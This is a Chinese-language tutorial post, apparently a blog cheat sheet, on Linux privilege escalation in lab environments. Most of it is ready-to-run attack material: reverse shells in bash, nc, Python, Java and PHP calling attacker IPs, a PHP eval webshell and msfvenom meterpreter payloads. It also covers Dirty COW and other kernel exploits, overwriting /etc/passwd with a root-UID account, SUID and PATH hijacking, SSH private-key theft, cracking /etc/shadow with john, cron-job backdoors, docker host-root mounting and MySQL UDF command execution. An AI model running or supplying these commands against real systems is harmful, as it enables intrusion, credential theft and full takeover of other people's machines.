Linux 提权

find / -name authorized_keys

一、反弹 shell

1.1  使用 nc 对进行监听

nc -lvnp 9999
1.2  bash 反弹
bash -i >& /dev/tcp/ip_address/port 0>&1
或
bash -c "bash -i >& /dev/tcp/192.168.103.130/7788 0>&1"
1.3  nc 反弹
nc -e /bin/sh 192.168.2.130 4444
但某些版本的 nc 没有 -e 参数,则可使用以下方式解决
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.103.130 7788 >/tmp/f
1.4  python 反弹
import socket,subprocess,os
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(( "192.168.2.130" , 4444 ))
os.dup2(s.fileno(), 0 )
os.dup2(s.fileno(), 1 )
os.dup2(s.fileno(), 2 )
p = subprocess.call([ "/bin/bash" , "-i" ])
1.5  php 反弹

1、编写一句话木马:

<?php eval($_REQUEST['cmd']);?>

2、使用一句话木马执行系统命令:

http://192.168.103.168/cmd.php?cmd=system(%22which%20nc%22);

回显得 nc 的目录:

3、 连接语句:

system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.103.130 7788 >/tmp/f');
1.6  python 反弹

1、编写 python 脚本:

import socket,subprocess,os
s =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(( "192.168.103.130" , 7788 ))
os.dup2(s.fileno(), 0 )
os.dup2(s.fileno(), 1 )
os.dup2(s.fileno(), 2 )
p = subprocess.call([ "/bin/bash" , "-i" ])

2、运行 python 脚本

1.7  Java 反弹 shell

1、编写 java 脚本:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read
line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

2、执行 java 脚本

1.8  切换 shell

1、由于有时候一些命令无法执行:

2、这时候就需要切换 shell ,使用 python 来切换:

(1)寻找 python:

(2)切换 shell :

python3 -c 'import pty;pty.spawn("/bin/bash")'

1.9  解决乱码情况:

1、ctrl + z 把 shell 进程放到后台

2、输入如下命令:

stty -echo raw

3、fg 再调用后台任务

二、Linux 内核提权

2.1  内核溢出提权

1、漏洞简述:

        利用堆栈溢出漏洞,根据当前系统寻找对应的漏洞的 exp 使用 exp 对其进行提权

查看系统版本:

uname -a
cat /proc/version
cat /etc/issue
cat /etc/redhat-release
lsb_release -a

2、根据版本号在 kali 中搜索提权的 exp:

(1)

uname -a

(2)

searchsploit -s 13.0
或
searchsploit -t 13.0

(3) 通过以上路径使用如下命令来获取绝对路径:

searchsploit -x linux/local/37088.c

 按 q 退出

(4)复制到随便一个目录下,进行编译:

cp /usr/share/exploitdb/exploits/linux/local/37292.c chun.c

gcc -o chun chun.c

(5)目标主机反向连接到攻击主机,执行:

bash -c 'bash -i >& /dev/tcp/192.168.103.130/7788 0>&1'

(6)攻击主机启动 http 服务器:

sudo python -m http.server 5566

(7)目标主机远程下载文件:

wget http://192.168.103.130:5566/chun

(8)执行提权 exp :

chmod +x chun
./chun
2.2  脏牛提权(CVE-2016-5195)

1、描述:

        脏牛漏洞(CVE-2016–5195),又叫 Dirty COW,存在 Linux 内核中已经有长达9年的时间,在2007年发布的 Linux 内核版本中就已经存在此漏洞,在2016年10月18后才得以修复,因此影响范围很大。

        漏洞具体是由于 get_user_page 内核函数在处理 Copy-on-Write 的过程中,可能产出竞态条件造成 COW 过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。修改 su 或者passwd 程序就可以达到 root 的目的。

2、环境准备:

(1)Ubuntu 14.04

(2)漏洞利用 exp:GitHub - firefart/dirtycow: Dirty Cow exploit - CVE-2016-5195

3、漏洞复现:

(1)反弹 shell

(2)远程下载提权 exp

(3)编译 exp

gcc -pthread dirty.c -o dirty -lcrypt

(4)执行 exp 后创建用户 firefart ,密码为 123456

./dirty 123456

(5)查看权限 id,发现是管理员权限:

(6)提权成功后可以创建用户:

adduser chun //添加一个名为 chunchun 的用户
passwd chun //修改密码

(7)赋予 root 权限:

usermod -aG sudo chun

三、passwd 提权

3.1  确保 /etc/passwd 可以修改
3.2  通过 openssl 生成用户和密码
openssl passwd -1 -salt chunchun 123456

 

3.3  复制粘贴整个 /etc/passwd 的内容,把我们新建的内容统一为 /etc/passwd 格式,然后一起保存为 passwd
root:x:0:0root:/root:/bin/bash

chunchun:$1$chunchun$.6aMop5J2aDfXe8ILYMPl0:0:0:/root:/bin/bash
3.4  使用 wget 远程下载后替换
wget http://192.168.103.130:7788/passwd -O /etc/passwd
3.5  切换用户
su chunchun
3.6  使用远程 ssh 进行登录
ssh chunchun@192.168.103.171

或者使用 putty 进行登录

四、使用 metasploit 进行提权

4.1  生成后门文件

1、生成可执行文件:

(1)若是 64 位操作系统:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.103.130 LPORT=7778 -f elf > s

 (2)若是 32 位操作系统:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.103.130 LPORT=7778 -f elf > s

2、生成 php 后门文件:

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.103.130 LPORT=7788 -f raw > shell.php

php 关于操作文件的函数:

(1)file_get_contents($filename,$source) 函数用于将整个文件读取为字符串,$filename 是要写入的文件名,$source 是文件资源参数

http://192.168.103.172/cmd.php?cmd=echo%20file_get_contents(%27http://192.168.103.130:5566/msf.php%27);

(2)file_put_contents($filename,$source) 函数用于将数据写入文件,$filename 是要写入的文件名,$source 是文件资源参数 

http://192.168.103.171/code/code02.php?data=file_put_contents('mm.php',file_get_contents('http://192.168.103.130:5566/msf.php'));
4.2  本地启动监听
use exploit/multi/handler

set payload linux/x64/meterpreter/reverse_tcp
或
set payload linux/x86/meterpreter/reverse_tcp
或
set payload php/meterpreter_reverse_tcp

set lhost 192.168.103.130
set lport 7778
exploit
4.3  查询漏洞
run post/multi/recon/local_exploit_suggester

或者就像第二部分一样通过 linux 的版本号来查找可能存在的漏洞来使用 exp 进行提权

五、suid 提权

5.1  suid 概述

        SUID 是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。也就是如果 ROOT 用户给某个可执行文件加了 S 权限,那么该执行程序运行的时候将拥有 ROOT 权限。

        suid(set uid)是linux中的一种特殊权限,suid 可以让调用者以文件拥有者身份运行该文件,所以利用suid提权的核心就是运行root用户所拥有的suid的文件,那么运行该文件的时候就得获得root用户的身份了。

        suid特点是用户运行某个程序时,如果该程序有suid权限,程序运行进程的属主不是发起者,而是程序文件所属的属主。

chmod u+s filename #设置suid
chmod u-s filename #去除suid

        linux引入了3个文件来管理用户和组:

1、/etc/passwd 存放用户信息,查询可执行命令的用户可以使用命令

cat /etc/passwd | grep bash

2、/etc/shadow 存放用户密码信息。

3、/etc/group 存放组信息。

        以下命令可以发现系统上运行的所有 SUID可 执行文件:

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
5.2  利用

1、利用概述:

        在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效。只有 root 用户的 uid 是 0,如果把一个普通用户的 uid 修改为 0,那么只要以普通用户的用户名和密码登录系统就会自动切换到 roo t用户,在系统加固时一定要找出有哪些用户的 uid 为 0。

        假设可执行文件 binexec 其属主为 root,当以非 root 身份登录时,如 binexec 设置了 suid 权限,就可以在非 root 身份下运行该可执行文件,可执行文件运行时该进程的权限为 root 权限。利用此特性,就可通过 suid 进行提权。

2、利用流程:

(1)查找可利用的文件

find / -perm -u=s -type f 2>/dev/null

(2)在网站:GTFOBins 下进行搜索:

5.3  复现

1、反弹 shell :

(1)反向连接:

system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.103.130 7788 >/tmp/f');
或
system('bash -c "bash -i >& /dev/tcp/192.168.103.130/7788 0>&1"');

(2)切换 shell :

python3 -c 'import pty;pty.spawn("/bin/bash")'

2、查看有 suid 权限的文件:

find / -perm -u=s -type f 2>/dev/null

3、 在网站:GTFOBins  下进行搜索 find:

4、在 shell 中输入:

find . -exec /bin/sh -p \; -quit

5、获取到 root 权限:

(1)使用 id 命令来查看:

euid 就是有效用户标识。

(2)使用 cat /etc/shadow 来确认 root 权限

6、常见suid提权文件:

nmap、vim、find、more、less、bash、cp、Nano、mv、awk、man、weget

六、SSH 密钥提权

6.1  概述

        运维人员如果在服务器上使用 ssh-keygen 生成密钥对(id_rsa、id_rsa.pub),然后采用此密钥对进行远程登录,那么当他忘记把私钥(id_rsa)删除,且文件权限可读,黑客就可以使用这个私钥进行用户登录,达到用户水平越权或者权限提升到 root 。

6.2  复现

1、得到反弹 shell

2、搜索用户文件:

 cat /etc/passwd | grep bash

​ 

3、搜索密钥文件:

find / -name authorized_keys

4、比对公钥文件:

(1)可以直接使用 cat 来比对:

cat authorized_keys
cat id_rsa.pub

 (2)可以 md5 解密后比对:

md5sum authorized_keys
md5sum id_rsa.pub

5、比对成功后下载或保存私钥(id_rsa):

6、登录:

ssh -i siyao1 web1@192.168.103.172

七、环境劫持提权

7.1 概述

        替换环境变量,优先执行我们预先设定好的文件,达到劫持的目的;

        环境劫持需要的两个条件:

(1)存在带有suid的文件

(2)suid文件存在系统命令

7.2 原理

1、在 /home/xxx/test_up 文件夹下创建 shell.c 文件:

#include<unistd.h>
void main() {
setuid(0);
setgid(0);
system("cat /etc/shadow");
}

2、编译 shell.c 文件:

gcc shell.c -o shell

3、赋予 shell 权限:

chmod 777 shell
chmod u+x shell

4、此时 shell 这个文件就是有 suid 的文件

更简明了说,若有 suid 的权限的文件(ttt)是由如c语言编译而来,那么普通用户直接执行 ttt,就直接变成 root 用户:

#include<unistd.h>
void main() {
setuid(0);
setgid(0);
system("/bin/bash");
}
7.3 复现

1、msf 远程登录;

2、查找 suid 命令:

find / -perm -u=s -type f 2>/dev/null

 

3、执行 /home/test/shell ,发现是执行的 cat /etc/shadow

4、创建劫持文件:

echo "/bin/bash" > /tmp/cat
chmod 777 cat
ls -al cat

5、设置环境变量:

echo $PATH
export PATH=/tmp:$PATH

6、再次执行 /home/test/shell:

/home/shell
whoami

7.4 注意事项

1、无法判断有 suid 的权限的文件里执行了什么可替换的命令的话,可以使用 xxd 来判断:

八、john 破解 /etc/shadow文件的 root 密文登录提权

8.1 概述

账号的密码信息通常是保存在 /etc/shadow 中而不是 /etc/passwd 中

8.2 复现

1、首先必须是管理员才能查看 /etc/shadow 文件

2、把 root 那一列复制保存下来,保存为 shadow.txt 文件

root:$6$B2UOTJuK$FhrDXT5b2VnwSOlGJnnrcZz3Yp57Xxj3xffkTwCmIepvnV1TvOdCw8msrCUrpplnaqEOV7PHBJVWBGzOFIKby.:18016:0:99999:7:::

3、使用kali 自带工具 john 进行破解:

john --wordlist="/usr/share/wordlists/rockyou.txt" shadow.txt

九、计划任务反弹 shell 提权

9.1 概述

        若系统内有计划周期运行的文件,若可以修改,可以改为反弹 shell 的命令,等到执行的时候就自动反向连接了,只是直接就是 root 权限。

9.2 复现

1、查询任务的命令:

(1)查看计划任务(针对普通用户):

 cat /etc/crontab

(2) 查看用户任务:

crontab -l 

(3)查看 root 用户任务:

cat /var/spool/cron/crontabs/root

(4)查看任务日志:

tail -f /var/log/syslog

2、修改为反向连接的命令:

bash -i >& /dev/tcp/192.168.1.1/1234 0>&1

3、本机进行监听:

nc -lvnp 1234

十、脚本辅助提权

10.1  LinEnum

1、项目地址:GitHub - rebootuser/LinEnum: Scripted Local Linux Enumeration & Privilege Escalation Checks

2、使用:

(1)下载时执行:

wget -O - http://192.168.1.1/LinEnum.sh | bash

(2)下载后执行:

sh LinEnum.sh
10.2  linuxprivchecker

1、项目地址:GitHub - swarley7/linuxprivchecker: Python3 compatible linuxprivchecker

2、使用:

python3  linuxprivchecker.py

10.3  linux-exploit-suggester2

1、项目地址:GitHub - jondonas/linux-exploit-suggester-2: Next-Generation Linux Kernel Exploit Suggester

2、使用:

perl linux-exploit-suggester-2.pl

十一、docker 提权

11.1  概述
11.2  复现

1、使用脚本发现 docker :

sh LinEnum.sh > 1.txt
cat 1.txt | grep docker

2、使用如下命令:

docker run -v /:/mnt -it alpine

        这个命令的效果是在一个基于 Alpine Linux 镜像的 Docker 容器中启动一个交互式的终端,并且将主机系统的根目录挂载到容器内的 /mnt 目录。这样你可以在容器中执行命令,同时可以访问主机系统的根目录。

此时就获得了 root 权限,进入 /mnt 目录后,就相当于进入了目标主机的主目录,就可以查看例如 /etc/shadow 等目录来获取密码了

十二、sudo 提权
12.1  原理

1、使用 su 命令切换用户时,需要输入密码,但是切换成功后,可以在执行命令时加入 sudo 来直接执行特权命令。

2、使用 sudo -l 可以查看当前用户可执行和无法执行的命令

(1)若对一个命令有权限,可直接执行:

sudo cat /etc/shadow

(2)若没有权限,执行特权命令需要再次输入密码:

sudo ps -al 

3、使用如下命令可以查看用户可执行和无法执行的命令,若可写也可以进行修改:

cat /etc/sudoers

十三、mysql 和 udf 提权

13.1  概述

         在获取到普通用户的密码后登录进行文件写入,然后自定义函数后进行命令执行。

13.2  复现

1、获取到 shell 后,使用 Mysql 命令查看是否存在 mysql

2、登录后使用如下命令来查看可写的文件:

show variables like '%plugin%'

 

3、在 /usr/share/sqlmap/extra/cloak/ 文件夹下使用  给 /usr/share/sqlmap/data/udf/mysql/linux/64/ 文件夹下的 lib_mysqludf_sys.so 解码

sudo python cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o udf.so

4、在攻击方主机上启动代理服务器:

sudo python -m http.server 5566

5、进入 /usr/lib/mysql/plugin/ ,远程下载 udf.so 文件:

wget http://192.168.103.130:5566/udf.so

6、再次登录 Mysql ,使用 mysql 数据库,然后创建自定义函数:

use mysql
create function sys_eval returns string soname "udf.so";

7、 使用自定义函数执行命令:

select sys_eval('id');

此时可以用 mysql 的身份执行系统命令;

补充:

(1)可以查询自定义函数:

select * from func

 (2)可以删除然后重新定义:

delete from func where name='sys_eval';

十四、不使用密码来切换用户

14.1  复现

1、在用户 id 为 1000 的用户下创建如下 c 程序,编译后为 test:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc,char *argv[])
{
setreuid(1000,1000);
execve("/bin/sh",NULL,NULL);
}

 (1)setreuid(1000, 1000);: 这个函数用于修改进程的实际用户ID和有效用户ID。在这里,将实际用户ID和有效用户ID都设置为1000。这样,程序在接下来的执行过程中将以用户ID 1000 的身份运行。

(2)execve("/bin/sh", NULL, NULL);: 这个函数用于执行一个新的程序,替换当前进程。在这里,它尝试执行 /bin/sh,即一个交互式的shell。由于第一步设置了用户ID为1000,这个shell将以用户ID 1000 的身份运行。

(3)这段代码的效果是以用户ID 1000 的身份启动一个交互式shell。

2、 赋予 test suid 权限:

chmod u+s test

3、用户 id 为 1001 的用户 执行 test 之后,就自动变为用户 id 为 1000 的用户了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值